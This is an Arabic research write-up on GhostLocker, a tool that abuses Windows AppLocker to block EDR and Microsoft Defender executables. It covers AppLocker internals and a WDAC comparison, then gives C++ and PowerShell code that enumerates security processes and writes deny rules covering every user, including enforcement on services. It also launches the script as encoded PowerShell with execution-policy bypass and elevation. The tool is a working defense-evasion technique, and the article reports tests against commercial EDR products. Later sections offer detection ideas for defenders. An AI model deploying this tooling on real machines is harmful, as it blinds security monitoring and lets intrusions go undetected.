
تحييد EDR القائم على AppLocker
بعد مقالتي حول Fairy-Law، حيث استخدمت تخفيفات النواة لتعطيل حلول كشف نقاط النهاية والاستجابة (Endpoint Detection & Response - EDR)، أشار diversenok إلى أن استثناءات IFEO (Image File Execution Options) كانت شديدة التدخل في تطبيقات الطرف الثالث. قاد هذا إلى نهج أفضل: استغلال الصلاحيات المتأصلة التي يمتلكها المسؤولون بالفعل عبر AppLocker.
استُوحي المفهوم من diversenok، الذي أبرز أن بإمكان المسؤولين التحكم بشكل مشروع في أي برنامج على أنظمتهم. من هذه الرؤية، طوّرت تقنية تستخدم AppLocker كآلية تحكم أصلية في Windows. يستكشف هذا البحث التنفيذ التقني لـ AppLocker للتحكم في EDR، ويقارنه بـ WDAC، ويقدم أداة عملية لإثبات المفهوم.
تم تقديم AppLocker مع Windows 7 وتحسينه في Windows 8.1 و10 (Enterprise) و Windows Server 2012/R2/2016+. وهو إطار عمل لقائمة التطبيقات البيضاء يسمح للمسؤولين بتحديد بدقة أي الملفات التنفيذية أو البرامج النصية أو برامج التثبيت يُسمح لها بالتنفيذ لمستخدمين أو مجموعات محددة.
AppIDSvc (خدمة هوية التطبيقات)
LocalServiceAppID.sys (برنامج تشغيل النواة)
SeSrpAccessCheckتوضيح:
بينما يقومAppID.sysبتقييم القواعد في وضع النواة، فإن فرض قواعد DLL ليس مستقلًا.
لا يقوم برنامج تشغيل النواة بمراقبة تحميلات DLL بشكل نشط بمفرده. بدلاً من ذلك، يجب على مكونات وضع المستخدم الاستعلام صراحةً عن برنامج التشغيل عبر IOCTL لتحديد ما إذا كان تحميل DLL مسموحًا به.
ونتيجة لذلك، تعمل قواعد DLL في AppLocker فعليًا كآلية حماية من جانب العميل.
يدعم AppLocker فئتين رئيسيتين من القواعد:
قواعد السماح (Allow Rules): تسمح صراحةً للتطبيقات المحددة بالتنفيذ
قواعد الحظر (Deny Rules): تمنع صراحةً التطبيقات المحددة من التنفيذ
C:\Program Files\Security\*.exeHKLM\Software\Policies\Microsoft\Windows\SrpV2 (XML policy storage, persistent)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe (SDDL binary format, active enforcement)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (Certificate cache)
بشكل افتراضي، لا يفرض AppLocker القواعد على الخدمات أو عمليات SYSTEM.
لا يوجد خيار في الواجهة الرسومية لتمكين هذا السلوك.
لا يمكن تمكين فرض السياسات على الخدمات إلا عبر سياسة XML باستخدام RuleCollectionExtensions.
مقطع السياسة التالي مطلوب لفرض قواعد AppLocker على الخدمات:
<RuleCollectionExtensions>
<ThresholdExtensions>
<Services EnforcementMode="Enabled"/>
</ThresholdExtensions>
<RedstoneExtensions>
<SystemApps Allow="Enabled"/>
</RedstoneExtensions>
</RuleCollectionExtensions>
كما تشير أسماء الامتدادات، فإن هذه الخيارات مدعومة فقط على Windows 10+ وغير متاحة على الإصدارات الأقدم. انظر Microsoft - AppLocker rule collection extensions
AppID.sys بتقييم سمات التطبيقSTATUS_ACCESS_DISABLED_BY_POLICY_OTHER⚠️ لا ينهي AppLocker العمليات الجارية.
ينطبق فرض AppLocker فقط على أحداث إنشاء العمليات الجديدة. تستمر عمليات EDR الجارية بالفعل في التنفيذ حتى إعادة تشغيل النظام. هذا قيد معماري أساسي.
ملاحظة بخصوص تتبع برنامج تشغيل النواة (Telemetry):
حتى بعد حظر الملفات التنفيذية لوضع المستخدم الخاصة بـ EDR، تبقى برامج تشغيل النواة (*.sys) نشطة وتعمل. تستمر هذه البرامج في:
ومع ذلك، يكشف الاختبار المكثف أن هذا التتبع يصبح غير فعّال وظيفيًا. دون محركات تحليل وضع المستخدم، وأنظمة الربط (correlation)، وآليات الإبلاغ، لا يمكن معالجة بيانات التتبع الخام إلى اكتشافات قابلة للتنفيذ. تعتمد حلول EDR بشكل كبير على مكونات وضع المستخدم من أجل:
GhostLocker هو تنفيذ بلغة C++ يؤتمت نشر سياسات AppLocker لحظر الملفات التنفيذية الخاصة بـ EDR.
يوفر GhostLocker شكلين من التنفيذ:
main.cpp – إصدار التعداد الديناميكييقوم هذا الإصدار بتعداد العمليات الجارية وحل مسارات الصور الكاملة الخاصة بها باستخدام واجهات برمجة التطبيقات الأصلية (NtQuerySystemInformation).
تُستخدم المسارات المطلقة الناتجة بعد ذلك لتوليد قواعد حظر دقيقة في AppLocker.
تستخدم الأداة CreateToolhelp32Snapshot مع TH32CS_SNAPPROCESS لتعداد جميع العمليات الجارية. وتقارن أسماء العمليات مع قائمة أهداف محددة مسبقًا باستخدام مطابقة غير حساسة لحالة الأحرف (_wcsicmp).
لماذا هذا النهج؟
FindTargetsAndQueryPaths)const wchar_t* targetNames[] = {
L"MpDefenderCoreService.exe",
L"MsMpEng.exe",
L"WinDefend.exe",
L"EDR_Component_Name.exe",
};
SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;
status = NtQuerySystemInformation(
SystemProcessIdInformation,
&spi,
sizeof(spi),
0
);
تفاصيل تقنية:
SystemProcessIdInformation (0x58)\Device\HarddiskVolume3\Windows\System32\...منطق تحويل المسار:
std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
if (ntPath.rfind(prefix, 0) == 0)
{
std::wstring rest = ntPath.substr(prefix.length());
return L"C:\\" + rest;
}
return ntPath;
}
قيد: افتراض HarddiskVolume3 مثبت برمجيًا. ينبغي تحسينه لحل أرقام وحدات التخزين ديناميكيًا.
تضمّن الأداة سكربت PowerShell كامل:
أ) التحقق من مسارات الأهداف
foreach ($exe in $ExeToBlock) {
if (!(Test-Path $exe)) {
Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
exit 1
}
}
ب) توليد قواعد حظر ديناميكية
foreach ($exe in $ExeToBlock) {
$id = [guid]::NewGuid().ToString()
$name = Split-Path $exe -Leaf
$dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name +
'" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
$dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
$dynamicBlockRules += '</FilePathRule>'
}
عناصر السياسة الأساسية:
UserOrGroupSid="S-1-1-0": ينطبق على الجميع (جميع المستخدمين)Action="Deny": قاعدة حظر صريحةEnforcementMode="Enabled": فرض نشط لقواعد EXEج) تطبيق السياسة
Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null
void RunPowerShellInMemory()
{
std::wstring script = BuildFullPowerShellScript();
const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
size_t byteLen = script.size() * sizeof(wchar_t);
std::wstring encoded = Base64Encode(bytes, byteLen);
std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
params += encoded;
ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}
الأساس التقني:
-EncodedCommand ترميز UTF-16LE-ExecutionPolicy Bypass: يتجاهل سياسة تنفيذ السكربتاتrunas: يطلق طلب رفع صلاحيات UAC للحصول على حقوق إداريةmain_improved.cpp – إصدار قائم على أحرف البدل الثابتةبعد التوضيح من diversenok، اتضح أن قواعد مسارات AppLocker تدعم مطابقة أحرف البدل (wildcards) ولا تتطلب مسارات كاملة للملفات التنفيذية.
يزيل هذا الإصدار المحسّن جميع منطق تعداد العمليات وحل المسار الأصلي ويعتمد بدلاً من ذلك على قواعد أحرف بدل ثابتة مثل: *\MsMpEng.exe
⚠️ المتطلبات الأساسية للنشر الناجح:
sc start AppIDSvcتم إجراء اختبارات خاضعة للرقابة ومكثفة ضد حلول EDR تجارية متعددة لتقييم الفعالية.
بيئة الاختبار:
فشل التحليل السلوكي:
منظور وحدة التحكم الإدارية:
على الرغم من استمرار برامج تشغيل النواة في العمل وجمع تدفقات بيانات التتبع، فإن غياب مكونات المعالجة في وضع المستخدم جعل البيانات المجمّعة غير فعالة.
ما يستمر في العمل:
رؤية حرجة:
تعتمد بنية EDR الحديثة على اقتران وثيق بين برامج تشغيل النواة ومحركات تحليل وضع المستخدم. إن كسر هذا الاقتران يعمي EDR فعليًا على الرغم من استمرار جمع التتبع.
لقطة شاشة (تعداد وتطبيق سياسة AppLocker):

لقطة شاشة (تعطيل WinDefend):
لقطة شاشة للإصدار الثاني

تم تقديم Windows Defender Application Control (WDAC) في Windows 10 ويمثل إطار التحكم الحديث في التطبيقات من Microsoft. يفرض سياسات على كل من ملفات وضع المستخدم ووضع النواة.
الخصائص الأساسية:
تخزين سياسة WDAC:
C:\Windows\System32\CodeIntegrity\SIPolicy.p7b (Active policy, signed)
C:\Windows\System32\CodeIntegrity\CIPolicies\ (Multiple policies)
EFI System Partition (UEFI enforcement)
أظهر Krueger إساءة استخدام WDAC لحظر برامج تشغيل EDR:
الفرق الرئيسي:
متى تستخدم AppLocker (GhostLocker):
متى تستخدم WDAC (على غرار Krueger):
يوفر Windows واجهة برمجة التطبيقات Get-AppLockerFileInformation، التي تسمح باختبار ما إذا كان ملف تنفيذي معين سيُحظر بموجب سياسة AppLocker الحالية.
يمكن لأي حل EDR استخدام هذه الآلية للتحقق استباقيًا مما إذا كانت ملفاته أو خدماته الخاصة ستُمنع من التنفيذ بعد تغيير السياسة.
إذا انتقل مكوّن أساسي من حالة مسموح إلى ممنوع، فيجب التعامل مع ذلك كحالة عبث (tamper) عالية الثقة.
يتم إرسال تحديثات سياسة AppLocker إلى AppID.sys عبر استدعاءات IOCTL صريحة من وضع المستخدم.
يوفر هذا مسار إشارة واضحًا يشير إلى أن حالة الفرض قد تغيرت.
يمكن لبرامج تشغيل النواة ملاحظة هذه الإشعارات وربطها بإخفاقات التنفيذ اللاحقة للخدمات المحمية، مما يتيح اكتشافًا دقيقًا للتحييد القائم على السياسات.
تُحفظ سياسات AppLocker عبر عمليات إعادة التشغيل في مواقع سجل محددة جيدًا.
يمكن لحلول EDR التقاط لقطة لحالة السياسة ذات الصلة قبل إعادة التشغيل والتحقق من اتساق الفرض بعد بدء تشغيل النظام.
يشير عدم التطابق بين حالة التنفيذ المتوقعة والفرض بعد إعادة التشغيل بقوة إلى تلاعب متعمد بالسياسة.
تتضمن Windows آليات أصلية لاستثناء العمليات من فرض SRP/AppLocker.
من المتوقع أن تتكامل المنتجات الأمنية مع هذه الآليات لضمان استمرارية التشغيل.
عدم مراعاة هذه الاستثناءات ليس قيدًا في AppLocker، بل هو إشراف معماري في المنتج المحمي.
لا تتطلب أي من استراتيجيات الاكتشاف هذه تجاوز AppLocker أو انتهاك حدود أمان Windows.
تعتمد فقط على السلوكيات والواجهات الموثقة التي يوفرها نظام التشغيل بالفعل.
يُظهر GhostLocker أنه يمكن تسليح AppLocker، وهي ميزة أمان Windows مشروعة، لتحييد حلول EDR من خلال حظر عمليات وضع المستخدم. تسلط هذه الدراسة الضوء على ثغرات معمارية أساسية في تصاميم EDR الحالية التي تقترن بشدة بين جمع تتبع النواة ومحركات تحليل وضع المستخدم.
يُقدَّم هذا البحث لأغراض تعليمية وأمنية دفاعية فقط.
يجب استخدام التقنيات الموصوفة فقط في بيئات اختبار مصرح بها وبتصريح صريح.
إذا كنت مهتمًا بالمساهمة في GhostLocker، خاصة في تنفيذ C#، فنحن نرحب بك كثيرًا.
| الخاصية | AppLocker | WDAC |
|---|
| نطاق الفرض | الملفات التنفيذية لوضع المستخدم فقط | برامج تشغيل وضع المستخدم + وضع النواة |
| توقيت الفرض | إنشاء العملية | الإقلاع + وقت التشغيل |
| دقة الاستهداف للمستخدمين | قواعد لكل مستخدم/مجموعة | على مستوى النظام |
| الوضع الافتراضي | السماح افتراضيًا | الرفض افتراضيًا |
| أنواع القواعد | المسار، التجزئة، الناشر | التجزئة، الناشر، WHQLFile، الإصدار |
| حظر برامج التشغيل | ❌ لا | ✅ نعم |
| تعقيد السياسة | متوسط | مرتفع |
| وضع التدقيق | ✅ نعم | ✅ نعم |